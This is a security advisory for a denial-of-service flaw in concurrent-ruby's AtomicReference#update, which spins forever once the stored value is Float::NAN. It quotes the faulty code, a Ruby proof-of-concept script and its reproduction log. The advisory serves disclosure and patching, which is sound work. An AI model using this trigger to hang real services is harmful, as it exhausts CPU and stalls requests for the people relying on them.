PT-2026-51090 · Rubygems · Concurrent-Ruby

Published

2026-06-19

·

Updated

2026-06-19

·

CVE-2026-54904

CVSS v4.0

8.2

High

VectorAV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Summary

Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.
The issue is caused by the interaction between:
  • AtomicReference#update, which retries until compare and set(old value, new value) succeeds.
  • Numeric compare and set, which checks old == old value before attempting the underlying atomic swap.
  • Ruby NaN semantics, where Float::NAN == Float::NAN is always false.
As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.

Version

Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab

Details

AtomicReference#update retries until compare and set returns true:
ruby
def update
 true until compare and set(old value = get, new value = yield(old value))
 new value
end
For numeric expected values, compare and set uses numeric equality before attempting the underlying atomic compare-and-set:
ruby
def compare and set(old value, new value)
 if old value.kind of? Numeric
  while true
   old = get

   return false unless old.kind of? Numeric
   return false unless old == old value

   result = compare and set(old, new value)
   return result if result
  end
 else
   compare and set(old value, new value)
 end
end
When the stored value is Float::NAN, old value = get returns NaN. The later comparison old == old value is false because NaN is not equal to itself. compare and set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.
This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.

PoC

ruby
#!/usr/bin/env ruby
# frozen string literal: true

require 'concurrent/atomic/atomic reference'
require 'concurrent/version'

puts "ruby=#{RUBY DESCRIPTION}"
puts "concurrent ruby version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"

ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false

worker = Thread.new do
 ref.update do | old value|
  attempts += 1
  0.0
 end
 finished = true
end

sleep 0.25

puts "nan update attempts after 250ms=#{attempts}"
puts "nan update finished=#{finished}"
puts "nan update worker alive=#{worker.alive?}"

if worker.alive? && !finished && attempts > 1000
 puts 'result=REPRODUCED busy retry loop; update did not complete'
else
 puts 'result=NOT REPRODUCED'
end

worker.kill
worker.join

control = Concurrent::AtomicReference.new(1.0)
control attempts = 0
control result = control.update do |old value|
 control attempts += 1
 old value + 1.0
end

puts "control update result=#{control result.inspect}"
puts "control update attempts=#{control attempts}"
puts "control update final value=#{control.value.inspect}"

Log evidence

text
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent ruby version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan update attempts after 250ms=1926016
nan update finished=false
nan update worker alive=true
result=REPRODUCED busy retry loop; update did not complete
control update result=2.0
control update attempts=1
control update final value=2.0

Impact

This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Fix

Infinite Loop

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-54904
GHSA-H8W8-99G7-QMVJ

Affected Products

Concurrent-Ruby